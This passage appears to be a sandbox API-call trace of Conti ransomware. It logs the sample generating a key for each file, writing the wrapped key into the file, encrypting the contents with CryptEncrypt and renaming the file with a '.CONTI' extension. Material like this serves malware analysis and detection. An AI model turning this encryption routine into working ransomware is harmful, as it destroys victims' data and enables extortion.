	[0117.141] WriteFile (in: hFile=0x3ac, lpBuffer=0x65ce780*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x65ce780*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0117.141] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.141] CloseHandle (hObject=0x3ac) returned 1
	[0117.142] GetProcessHeap () returned 0x1720000
	[0117.142] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.142] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.142] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.142] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-02212018-110518-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.142] GetProcessHeap () returned 0x1720000
	[0117.142] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.142] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.142] GetProcessHeap () returned 0x1720000
	[0117.142] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd950 | out: hHeap=0x1720000) returned 1
	[0117.142] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0117.142] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x65cfc10 | out: phKey=0x65cfc10*=0x6b7f538) returned 1
	[0117.143] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65cfc14, pdwDataLen=0x4e7fc24 | out: pbData=0x65cfc14*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0117.143] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.144] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0117.144] GetLastError () returned 0x0
	[0117.144] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=4096) returned 1
	[0117.144] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.144] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.144] SetEndOfFile (hFile=0x3ac) returned 1
	[0117.145] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.145] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.145] WriteFile (in: hFile=0x3ac, lpBuffer=0x65cfc14*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x65cfc14*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0117.146] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.146] ReadFile (in: hFile=0x3ac, lpBuffer=0xe470000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x1000, lpOverlapped=0x0) returned 1
	[0117.147] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1000, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1010) returned 1
	[0117.147] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.147] WriteFile (in: hFile=0x3ac, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x1010, lpOverlapped=0x0) returned 1
	[0117.147] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.147] WriteFile (in: hFile=0x3ac, lpBuffer=0x65cfc08*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x65cfc08*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0117.147] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.147] CloseHandle (hObject=0x3ac) returned 1
	[0117.147] GetProcessHeap () returned 0x1720000
	[0117.147] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.147] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.147] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.147] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-03082019-181722-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.148] GetProcessHeap () returned 0x1720000
	[0117.148] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.148] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0117.148] GetProcessHeap () returned 0x1720000
	[0117.148] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd050 | out: hHeap=0x1720000) returned 1
	[0117.148] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0117.148] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x65d2090 | out: phKey=0x65d2090*=0x6b7f338) returned 1
	[0117.148] CryptExportKey (in: hKey=0x6b7f338, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d2094, pdwDataLen=0x4e7fc24 | out: pbData=0x65d2094*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0117.149] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.150] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0117.150] GetLastError () returned 0x0
	[0117.150] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=4096) returned 1
	[0117.150] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.150] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.150] SetEndOfFile (hFile=0x3ac) returned 1
	[0117.150] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.150] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.150] WriteFile (in: hFile=0x3ac, lpBuffer=0x65d2094*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x65d2094*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0117.152] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.152] ReadFile (in: hFile=0x3ac, lpBuffer=0xe470000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x1000, lpOverlapped=0x0) returned 1
	[0117.155] CryptEncrypt (in: hKey=0x6b7f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1000, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1010) returned 1
	[0117.155] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.155] WriteFile (in: hFile=0x3ac, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x1010, lpOverlapped=0x0) returned 1
	[0117.155] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.155] WriteFile (in: hFile=0x3ac, lpBuffer=0x65d2088*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x65d2088*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0117.155] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.155] CloseHandle (hObject=0x3ac) returned 1
	[0117.155] GetProcessHeap () returned 0x1720000
	[0117.155] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17f5448
	[0117.155] lstrcpyW (in: lpString1=0x17f5448, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0117.156] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0117.156] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-134351-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0117.156] GetProcessHeap () returned 0x1720000
	[0117.156] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17f5448 | out: hHeap=0x1720000) returned 1
	[0117.156] CryptDestroyKey (hKey=0x6b7f338) returned 1
	[0117.156] GetProcessHeap () returned 0x1720000
	[0117.156] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65ccf50 | out: hHeap=0x1720000) returned 1
	[0117.156] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0117.156] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x65d22d8 | out: phKey=0x65d22d8*=0x6b7f538) returned 1
	[0117.156] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x65d22dc, pdwDataLen=0x4e7fc24 | out: pbData=0x65d22dc*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0117.157] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin")) returned 0x2020
	[0117.158] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0117.158] GetLastError () returned 0x0
	[0117.158] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=4096) returned 1
	[0117.158] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1000
	[0117.158] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.158] SetEndOfFile (hFile=0x3ac) returned 1
	[0117.158] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.158] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.159] WriteFile (in: hFile=0x3ac, lpBuffer=0x65d22dc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x65d22dc*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0117.160] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0117.160] ReadFile (in: hFile=0x3ac, lpBuffer=0xe470000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0x1000, lpOverlapped=0x0) returned 1
	[0119.008] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1000, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0x1010) returned 1
	[0119.008] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.008] WriteFile (in: hFile=0x3ac, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0x1010, lpOverlapped=0x0) returned 1
	[0119.008] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.008] WriteFile (in: hFile=0x3ac, lpBuffer=0x65d22d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4e7fc28, lpOverlapped=0x0 | out: lpBuffer=0x65d22d0*, lpNumberOfBytesWritten=0x4e7fc28*=0x8, lpOverlapped=0x0) returned 1
	[0119.008] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0119.009] CloseHandle (hObject=0x3ac) returned 1
	[0119.009] GetProcessHeap () returned 0x1720000
	[0119.009] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.404] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"
	[0120.404] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI"
	[0120.404] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Security Health\\Logs\\SHS-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.CONTI" (normalized: "c:\\programdata\\microsoft\\windows security health\\logs\\shs-07172018-135525-3-1-15063.0.amd64fre.rs2_release.170317-1834.bin.conti")) returned 1
	[0120.405] GetProcessHeap () returned 0x1720000
	[0120.405] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.405] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0120.406] GetProcessHeap () returned 0x1720000
	[0120.406] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65cd150 | out: hHeap=0x1720000) returned 1
	[0120.406] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4e7fc4c, lpCompletionKey=0x4e7fc50, lpOverlapped=0x4e7fc5c) returned 1
	[0120.406] CryptGenKey (in: hProv=0x176c1b0, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fbb8 | out: phKey=0x6b4fbb8*=0x6b7f538) returned 1
	[0120.406] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175dcb0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fbbc, pdwDataLen=0x4e7fc24 | out: pbData=0x6b4fbbc*, pdwDataLen=0x4e7fc24*=0x20c) returned 1
	[0120.407] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab")) returned 0x20
	[0120.408] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0120.408] GetLastError () returned 0x0
	[0120.408] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x4e7fbd0 | out: lpFileSize=0x4e7fbd0*=809765) returned 1
	[0120.409] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xc5b25
	[0120.409] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x22f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.409] SetEndOfFile (hFile=0x398) returned 1
	[0120.409] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.409] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.409] WriteFile (in: hFile=0x398, lpBuffer=0x6b4fbbc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4e7fbdc, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbbc*, lpNumberOfBytesWritten=0x4e7fbdc*=0x20c, lpOverlapped=0x0) returned 1
	[0120.415] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.415] ReadFile (in: hFile=0x398, lpBuffer=0xe470000, nNumberOfBytesToRead=0xc5b25, lpNumberOfBytesRead=0x4e7fbfc, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesRead=0x4e7fbfc*=0xc5b25, lpOverlapped=0x0) returned 1
	[0120.427] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xc5b25, dwBufLen=0x500000 | out: pbData=0xe470000*, pdwDataLen=0x4e7fbf4*=0xc5b30) returned 1
	[0120.428] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.428] WriteFile (in: hFile=0x398, lpBuffer=0xe470000*, nNumberOfBytesToWrite=0xc5b30, lpNumberOfBytesWritten=0x4e7fc10, lpOverlapped=0x0 | out: lpBuffer=0xe470000*, lpNumberOfBytesWritten=0x4e7fc10*=0xc5b30, lpOverlapped=0x0) returned 1
	[0120.430] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
